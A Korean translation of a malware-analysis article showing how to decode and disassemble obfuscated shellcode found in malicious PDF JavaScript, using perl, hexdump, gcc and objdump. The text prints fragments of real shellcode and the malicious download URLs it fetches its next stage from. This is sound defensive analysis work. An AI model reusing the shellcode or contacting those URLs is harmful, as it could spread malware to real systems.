Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force <forceteam01@gmail. forceteam01@gmail.com com>2008.09.10
Static analysis of Shellcode 두달전, ISC 핸들러인 Maarten Van Horenbeeck 는악성 PDF 파일에서 exploit 내용을추출하는방법에대한매우훌륭한내용을발표했다. 우리는이와같은악용을시도하는매우많은수의 PDF 또는 PDF- 파생품을보았다. 이문서에서는어떻게그들을해결하는지알아본다. Maarten 의발표내용을다시한번살펴보자보통, 악성코드섹션을추출하거나또는 inflating 할때마지막작업으로아래와같이정렬된 shellcode 를포함하는자바스크립트익스플로잇함수를만나게된다. 이와같은블록을풀기위해서간단한펄스크립트를사용할수있다. cat nasty.js perl - pe 's/\ %u(..)(..)/ chr(hex($2)).chr(hex($1))/ ge' hexdump - C more 이스크립트는 Unicode(%u ) 를실제출력가능한 ASCII 형태로변환한다. 대부분의 Unicode 블록은에셈블리어 (shellcode) 로되어있다. ASCII 로변환된내용은조금이상하게보인다. 이와같은이유로결과물을 hexdump 에넘겨준다. 하지만잠깐, 우리는 %u(hex) 를 ASCII 로변환했고그것을 Hexdump 에넘겼다. 이와같이하는이유는 %uxxyy 의바이트오더가변경된 (yy xx) 텍스트를얻기위해서이다. 그리고 hexdump C 또한 ASCII 를출력한다. ( 역자주 : 펄스크립트를보면 $2 가먼저나와서바이트오더를변경한다 ) 00000320 b5 64 04 64 b5 cb ec 32 89 64 e3 a4 64 b5 f3 ec µd.dµëì2.dã dµóì
00000330 32 64 eb 64 ec 2a b1 b2 2d e7 ef 07 1b 22 20 2b 2dëdì*±²-çï.." + 00000340 0d 0a 22 11 10 10 ba bd a3 a2 a0 a1 ef 68 74 74.."...º½ ïhtt 00000350 70 3a 2f 2f 61 6f 6c 63 6f 75 6e 74 65 72 2e 63 p://aolcounter.c 00000360 6f 6d 2f 34 65 5a 6b 37 2f 65 78 65 2e 70 68 70 om/4ezk7/exe.php 00000370 00 22 29 3b 0d 0a 09 76 61 72 20 59 39 49 62 36.");...var Y9Ib6 00000380 75 75 45 20 3d 20 30 78 34 30 30 30 30 30 3b 0d uue = 0x400000;. 그리고주의깊게보면우리는다음단계로실제 exploit 이다운로드를시도하는 EXE 파일의이름을알수있다. ( 역자주 : http:/ / aolcounter.com/ 4eZk7/ exe.php 파일다운로드 ) 항상이처럼쉬운것만은아니다때때로다음단계의 URL 이인코딩되어있는경우도있다. 또다른 Shellcode 를살펴보자 이전과같은방식으로살펴보면 $ cat bad.js perl - pe 's/\ %u(..)(..)/ chr(hex($2)).chr(hex($1))/ ge' hexdump - C more 00000000 20 20 20 20 76 61 72 20 53 68 65 6c 6c 63 6f 64 var Shellcod
00000010 65 3d 75 6e 65 73 63 61 70 65 28 22 90 90 90 90 e=unescape("... 00000020 90 33 c0 33 c9 eb 12 5e 66 b9 00 01 8b fe 80 2e.3À3Éë.^f¹...þ.. 00000030 07 80 36 04 46 e2 f7 eb 05 e8 e9 ff ff ff f4 b5..6.fâ ë.èéÿÿÿôµ 00000040 0b 0b 0b 62 67 ac 3b 0b 0b 0b 96 4b 0f 96 7b 1f...bg ;...K..{. 000000c0 3e e6 12 c1 1b 43 fd 77 13 cc d6 10 0e e5 4b f6 >æ.á.cýw.ìö..åkö 000000d0 fc 46 22 78 ea 61 96 61 27 0e e0 69 96 0f 56 96 üf"xêa.a'.ài..v. 000000e0 61 1f 0e e0 96 07 96 0e c8 b6 61 64 ce f3 5c 02 a..à...è adîó\. 000000f0 02 02 91 51 11 ef f0 e6 ef 03 a3 01 95 11 81 e3...q.ïðæï....ã 00000100 ed 7e 39 25 32 7b 73 77 77 7b 45 32 32 7a 7a 7a í~9%2{sww{e22zzz 00000110 31 84 72 78 7d 70 68 67 7e 68 6c 7d 6e 73 31 74 1.rx}phg~hl}ns1t 00000120 71 69 72 32 7b 7e 76 32 72 78 77 31 7b 73 7b 42 qir2{~v2rxw1{s{b 00000130 6d 40 70 69 7e 6c 3d 3b 3b 38 30 38 3b 0b 22 29 m@pi~l=;;808;.") 00000140 3b 0a ;. 00000142 URL이보이지않는다. 누구나생각하는것처럼 URL은 Block안에있다. 대부분의 URL은일반적으로 http:/ / www 와같은형태로시작한다. 그래서만일우리가 abbcdeefff 와같이같은문자가반복되는형태의문자순서를본다면이것은대부분의경우인코딩된 URL 의시작패턴이다. 난독화를위해서사용되는가장기본적인방법은간단한 XOR 방식이다. 이와같은방식은이전문서에서다룬 XORSearch와같은툴을이용해서쉽게찾을수있다. ( 역자주 : Analyzing an obfuscated ANI exploit 문서참조 ) 이것은 XOR 형태가아니기때문에여기서는적용되지않는다. 그러면다음으로무엇을해야하는가? 두가지방법이있다. 하나는취약한시스템에서악
성코드를실행해서무엇을하는지알아내는것이고 ( 이와같은형태를 dynamic analysis 라고부른다 ), 또다른방법은유닉스 command line 이제공하는기능을이용해서단계별진행을통한 static analysis 를진행한다. 첫째로우리는쉘코드를유닉스디스어셈블러가이해할수있는형태로전환할필요가있다. 그렇게하기위해서우리는 90 90 90 형태로시작하는위의코드블락을 C 배열형태로변환해야한다. $ cat bad.bin perl - ne 's/ (.)/ printf "0x%02x,",ord($1)/ ge' > bad.c 변환하면아래와같다. 0x90,0x90,0x90,0x90,0x90,0x33,0xc0,0x33,0xc9,0xeb,0x12,0x5e,0x66... 아래와같은형태로전환한다. int main() { char foo[] = { 0x90,0x90,0x90,0x90,0x90,0x33,0xc0,0x33,0xc9,0xeb,0x12,0 x5e,0x66... }; } 컴파일한다. $ gcc - O0 - fno- inline bad.c - o bad.bin 디스어셈블가능한형태로변환한다 $ objdump - - disassembler- options=intel - D bad.bin 이작업의결과는 intel 어셈블리코드이다. 만일당신이악성코드리버스엔지니어링경험이있다면정확히 OllyDbg 사용경험이있다면해당코드를보는데어려움이없을것이다. 하지만그렇지않다면내용을이해하는것이힘들것이다. 어셈블리파일을살펴보다보면아래형태의코드블록을찾을수있을것이다. 4005a0: 90 nop 4005a1: 90 nop 4005a2: 90 nop 4005a3: 90 nop
4005a4: 90 nop 4005a5: 33 c0 xor eax,eax 4005a7: 33 c9 xor ecx,ecx 4005a9: eb 12 jmp 4005bd <C.0.1610+0x1d> 4005ab: 5e pop rsi 4005ac: 66 b9 00 01 mov cx,0x100 4005b0: 8b fe mov edi,esi 4005b2: 80 2e 07 sub BYTE PTR [rsi],0x7 4005b5: 80 36 04 xor BYTE PTR [rsi],0x4 4005b8: 46 e2 f7 rexxy loop 4005b2 <C.0.1610+0x12> 이것은우리가쉘코드로부터얻은바이트순서이다. 내용을살펴보면블록의루프는 4 와 XOR 하기전에모든바이트에서 7 을뺀다. 확인해보자 cat bad.bin perl - pe 's/(.)/ chr((ord($1)- 7)^4)/ ge' hexdump - C 00000000 c2 8d c2 8d c2 8d c2 8d c2 8d 28 c2 bd 28 c3 86 Â.Â.Â.Â.Â.(½(Ã. 00000010 c3 a0 0f 53 5b c2 b6 ff 80 8f bf bf bf bf bf bf Ã.S[ ÿ.. 00000020 bf bf bf bd ff 80 8f bf bf bf bf bf bf bf bf bf ½ÿ.. 000001b0 bf bf bf bf bf bf bf bf bf c2 8e 4e 0e c3 ac c3 Â.N.à à 000001c0 ad c3 9b c3 ac ff 80 8f bf bf bf bf bf bf bf bf - Ã.à ÿ.. 000001d0 bf b8 c2 98 ff 80 8f bf bf bf bf bf bf bf bf bf Â.ÿ.. 000001e0 be c2 8a 0e 7e c3 98 c3 a2 73 36 1a 2f 70 68 74 ¾Â..~Ã.à s6./pht 000001f0 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 72 6d 65 64 tp://www.yourmed 00000200 73 65 61 72 63 68 2e 69 6e 66 6f 2f 70 73 6b 2f search.info/psk/ 00000210 6f 75 74 2e 70 68 70 3f 62 3d 6d 66 73 61 32 30
out.php?b=mfsa20 00000220 30 35 2d 35 30 00 0a 0a 05-50... 결과물에서우리는다음단계에서사용되는 URL 을얻을수있다. 이와같은방식으로 URL 을찾기전에알아두어야할내용은모든쉘코드가 URL 을포함하고있는것은아니다. 그렇지만만일쉘코드에 URL 이포함되어있다면이와같은방식이많은도움이될것이다.